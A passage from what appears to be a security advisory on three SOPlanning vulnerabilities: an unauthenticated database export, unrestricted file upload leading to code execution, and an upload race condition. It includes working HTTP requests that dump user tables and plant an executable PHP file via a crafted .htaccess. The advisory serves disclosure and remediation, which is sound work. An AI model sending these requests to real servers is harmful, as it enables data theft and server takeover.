&lt;p&gt;Replace string-concatenated queries with parameterized queries / prepared statements for every user-controllable filter, including &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gp[]&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;statut[]&lt;/code&gt;. Update to SOPlanning 1.52.02 or later.&lt;/p&gt;

&lt;h2 id=&quot;unauthenticated-database-export-via-insecure-direct-object-reference-idor---cve-2024-27113&quot;&gt;Unauthenticated database export via Insecure Direct Object Reference (IDOR) - CVE-2024-27113&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;CVE: &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27113&quot; class=&quot;cve secinfo&quot;&gt;CVE-2024-27113&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Case: &lt;a href=&quot;/cases/DIVD-2024-00024&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2024-00024&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Discovered by: Wietse Boonstra and Hidde Smit&lt;/li&gt;
  &lt;li&gt;Credits: Discovered by DIVD researchers Wietse Boonstra and Hidde Smit. Case lead: Max van der Horst.&lt;/li&gt;
  &lt;li&gt;Products: SOPlanning Online Planning tool (versions &amp;lt; 1.52.02)&lt;/li&gt;
  &lt;li&gt;CVSS: To be confirmed against the official CVE record.&lt;/li&gt;
  &lt;li&gt;Reference: Case &lt;a href=&quot;/cases/DIVD-2024-00024&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2024-00024&lt;/a&gt;, &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27113&quot; class=&quot;cve secinfo&quot;&gt;CVE-2024-27113&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Solution: Enforce server-side authorization on the backup/export functionality and restrict the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;publicspl&lt;/code&gt; account to genuinely read-only access, independent of the public view mode. Update to SOPlanning 1.52.02 or later.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When the non-default public view is enabled and a request contains &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;public=1&lt;/code&gt;, the application creates a session for the built-in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;publicspl&lt;/code&gt; user without any authentication. The relevant logic is in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;header.inc&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// Check Public access&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;public&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;CONFIG_SOPLANNING_OPTION_ACCES&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;CONFIG_SOPLANNING_OPTION_ACCES&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$_SESSION&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;public&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$_SESSION&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;user_id&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;publicspl&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;publicspl&lt;/code&gt; account is expected to be read-only, but in practice it retains extended rights. As a result, an unauthenticated attacker can reach the database backup/export functionality that should be protected. This over-privileged public session is also the shared precondition that turns the two file-upload Remote Code Execution issues below into unauthenticated attacks.&lt;/p&gt;

&lt;p&gt;The following request abuses &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;backup.php&lt;/code&gt; to export the database to CSV. Authentication is bypassed purely through the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;public=1&lt;/code&gt; query parameter — note that no session cookie is supplied — and the selected tables (users, configuration, projects, tasks, places, resources) are dumped:&lt;/p&gt;

&lt;div class=&quot;language-http highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;POST&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;/soplanning/www/process/backup.php?public=1&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;HTTP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1.1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Host&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;192.168.1.184:82&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Content-Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;136&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Content-Type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;application/x-www-form-urlencoded&lt;/span&gt;

export_nom_sauvegarde=users_Wb&amp;amp;export_users=1&amp;amp;export_configuration=1&amp;amp;export_projets=1&amp;amp;export_taches=1&amp;amp;export_lieux=1&amp;amp;export_ressources=1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Because the export runs under the over-privileged &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;publicspl&lt;/code&gt; session, an unauthenticated attacker obtains the contents of the underlying database, including user data.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Suggested actions&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Enforce server-side authorization on the backup/export endpoint so it cannot be invoked from a public/read-only session. Ensure the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;publicspl&lt;/code&gt; account cannot perform state-changing or data-exfiltrating actions, and apply authorization checks per action independent of whether public view is active. Update to SOPlanning 1.52.02 or later.&lt;/p&gt;

&lt;h2 id=&quot;unauthenticated-remote-code-execution-via-unrestricted-file-upload---cve-2024-27115&quot;&gt;Unauthenticated Remote Code Execution via unrestricted file upload - CVE-2024-27115&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;CVE: &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27115&quot; class=&quot;cve secinfo&quot;&gt;CVE-2024-27115&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Case: &lt;a href=&quot;/cases/DIVD-2024-00024&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2024-00024&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Discovered by: Wietse Boonstra and Hidde Smit&lt;/li&gt;
  &lt;li&gt;Credits: Discovered by DIVD researchers Wietse Boonstra and Hidde Smit.&lt;/li&gt;
  &lt;li&gt;Case lead: Max van der Horst.&lt;/li&gt;
  &lt;li&gt;Products: SOPlanning Online Planning tool (versions &amp;lt; 1.52.02)&lt;/li&gt;
  &lt;li&gt;CVSS: 10.0 (CRITICAL) — vector to be confirmed against the official CVE record.&lt;/li&gt;
  &lt;li&gt;Reference: Case &lt;a href=&quot;/cases/DIVD-2024-00024&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2024-00024&lt;/a&gt;, &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27115&quot; class=&quot;cve secinfo&quot;&gt;CVE-2024-27115&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Solution: Validate uploaded files server-side against an allowlist of permitted types, store uploads outside the web root, disable script execution in the upload directory, and never honour an uploaded &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.htaccess&lt;/code&gt;. Update to SOPlanning 1.52.02 or later.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The upload endpoint (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;process/upload.php&lt;/code&gt;) does not restrict the type or extension of uploaded files. Because the uploaded file is written into a web-accessible directory (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;www/upload/files/&amp;lt;linkid&amp;gt;/&lt;/code&gt;) under its original filename, an attacker who has a session (obtainable unauthenticated via the public view issue above) can upload a PHP web shell together with a crafted &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.htaccess&lt;/code&gt; to make it executable and then request it from the browser.&lt;/p&gt;

&lt;p&gt;The vulnerable operation is the move into the web root without any type validation:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;move_uploaded_file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$tmp_dir&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$upload_dir&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The following request uploads both a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.htaccess&lt;/code&gt; (to reset the content handling so the PHP file is served/executed) and a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd.php&lt;/code&gt; payload into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;www/upload/files/2/&lt;/code&gt;, after which &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd.php&lt;/code&gt; can be reached directly from the browser:&lt;/p&gt;

&lt;div class=&quot;language-http highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;POST&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;/soplanning/www/process/upload.php&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;HTTP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1.1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Host&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;192.168.1.184:82&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;User-Agent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;python-requests/2.28.1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Accept-Encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;gzip, deflate, br&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Accept&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;*/*&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Connection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;keep-alive&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Cookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;soplanningplanning_=0c8e9efkm1i17ttc8pq8ni7ivh&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Content-Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;783&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Content-Type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;multipart/form-data; boundary=e38d5deef1f6a59f1fc2486d2fe81f9c&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;--e38d5deef1f6a59f1fc2486d2fe81f9c&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Content-Disposition&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;form-data; name=&quot;type&quot;&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;upload&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;--e38d5deef1f6a59f1fc2486d2fe81f9c&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Content-Disposition&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;form-data; name=&quot;linkid&quot;&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;2&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;--e38d5deef1f6a59f1fc2486d2fe81f9c&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Content-Disposition&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;form-data; name=&quot;type_restauration&quot;&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;sauvegarde&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;--e38d5deef1f6a59f1fc2486d2fe81f9c&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Content-Disposition&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;form-data; name=&quot;fichier-0&quot;; filename=&quot;.htaccess&quot;&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Content-Type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;application/zip&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;&amp;lt;Files *.*&amp;gt;&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;    # Unset the ForceType directive&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;    RemoveType *&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;    # Reset Content-Disposition header&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;    Header unset Content-Disposition&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;&amp;lt;/Files&amp;gt;&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;--e38d5deef1f6a59f1fc2486d2fe81f9c&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Content-Disposition&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;form-data; name=&quot;fichier-1&quot;; filename=&quot;cmd.php&quot;&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Content-Type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;application/zip&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;&amp;lt;?php phpinfo();?&amp;gt;&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;--e38d5deef1f6a59f1fc2486d2fe81f9c--&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Requesting the uploaded &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd.php&lt;/code&gt; executes the PHP payload on the server (here &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;phpinfo()&lt;/code&gt;, but any code can be placed instead), resulting in Remote Code Execution.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Suggested actions&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Enforce a server-side allowlist of permitted file types and reject dangerous extensions (including &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.php&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.phtml&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.htaccess&lt;/code&gt;). Store uploads outside the web root or in a directory where script execution is disabled, and generate server-controlled filenames. Update to SOPlanning 1.52.02 or later.&lt;/p&gt;

&lt;h2 id=&quot;unauthenticated-remote-code-execution-via-toctou-race-condition-in-file-upload---cve-2024-27114&quot;&gt;Unauthenticated Remote Code Execution via TOCTOU race condition in file upload - CVE-2024-27114&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;CVE: &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27114&quot; class=&quot;cve secinfo&quot;&gt;CVE-2024-27114&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Case: &lt;a href=&quot;/cases/DIVD-2024-00024&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2024-00024&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Discovered by: Wietse Boonstra and Hidde Smit&lt;/li&gt;
  &lt;li&gt;Credits: Discovered by DIVD researchers Wietse Boonstra and Hidde Smit. Case lead: Max van der Horst.&lt;/li&gt;
  &lt;li&gt;Products: SOPlanning Online Planning tool (versions &amp;lt; 1.52.02)&lt;/li&gt;
  &lt;li&gt;CVSS: 10.0 (CRITICAL) — vector to be confirmed against the official CVE record.&lt;/li&gt;
  &lt;li&gt;Reference: Case &lt;a href=&quot;/cases/DIVD-2024-00024&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2024-00024&lt;/a&gt;, &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27114&quot; class=&quot;cve secinfo&quot;&gt;CVE-2024-27114&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Solution: Validate the uploaded file before it is placed in any web-accessible location; do not use a move-then-delete pattern. Move the file to a non-executable temporary location, validate it there, and only then expose it. Update to SOPlanning 1.52.02 or later.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The same upload handling contains a Time-of-check Time-of-use (TOCTOU) race condition. The uploaded file is moved into the destination directory &lt;em&gt;before&lt;/em&gt; the requirements are (fully) verified, and is only removed afterwards with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@unlink()&lt;/code&gt;. This leaves a window in which the file physically exists in the web-accessible directory and can be triggered by the attacker before it is deleted, again leading to code execution.&lt;/p&gt;

&lt;p&gt;The upload directory is web-accessible. It is defined in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;config.inc&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;define&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;UPLOAD_DIR&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;BASE&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;/../www/upload/files/&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// upload file directory, must have read/write access&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The code flow is as follows:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;The uploaded file is first stored in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$tmp_dir&lt;/code&gt; — PHP’s default temporary upload location (the specific path is irrelevant to the exploit).&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;move_uploaded_file($tmp_dir, $upload_dir.$filename)&lt;/code&gt; moves the file straight from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$tmp_dir&lt;/code&gt; into the web-accessible &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$upload_dir&lt;/code&gt; under its original filename — &lt;strong&gt;before any validation of the file’s contents or type.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;Only &lt;em&gt;after&lt;/em&gt; the move does the code run its checks, verifying whether the uploaded files are ZIP or CSV files intended for a database restore.&lt;/li&gt;
  &lt;li&gt;Finally the code removes the file again with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@unlink($upload_dir.$filename)&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Because step 2 places the file in the public directory before the checks in step 3 and the cleanup in step 4, an attacker who uploads a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.php&lt;/code&gt; file and simultaneously requests it has a chance to execute it during the window in which it exists on disk. This is the race that constitutes the RCE.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;Note (unverified observation):&lt;/strong&gt; The post-move checks accept ZIP files for use in a database restore. Handling attacker-controlled archives this way may expose a Zip Slip (path traversal on extraction) issue. This was not verified and is noted here only as a follow-up item to investigate; it should not be presented as a confirmed finding without validation.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The relevant flow in the upload code:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$type&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;type&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$type_restauration&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;type_restauration&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$type_fichier_import_seul&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;type_fichier_import&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$upload_dir&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;SAVE_DIR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// upload directory&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// Si on fait un upload de fichiers&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$type&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;upload&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// Pour tous les fichiers, on tente de les uploader&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_FILES&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
	  &lt;span class=&quot;nv&quot;&gt;$filename&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;replaceAccents&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;utf8_decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_FILES&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;fichier-&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;name&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]));&lt;/span&gt;
	  &lt;span class=&quot;nv&quot;&gt;$tmp_dir&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_FILES&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;fichier-&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;tmp_name&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
	  &lt;span class=&quot;nv&quot;&gt;$fileSize&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_FILES&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;fichier-&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;size&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;

      &lt;span class=&quot;nv&quot;&gt;$dest_dir&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$upload_dir&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$filename&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;.tmp&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// SNIP&lt;/span&gt;

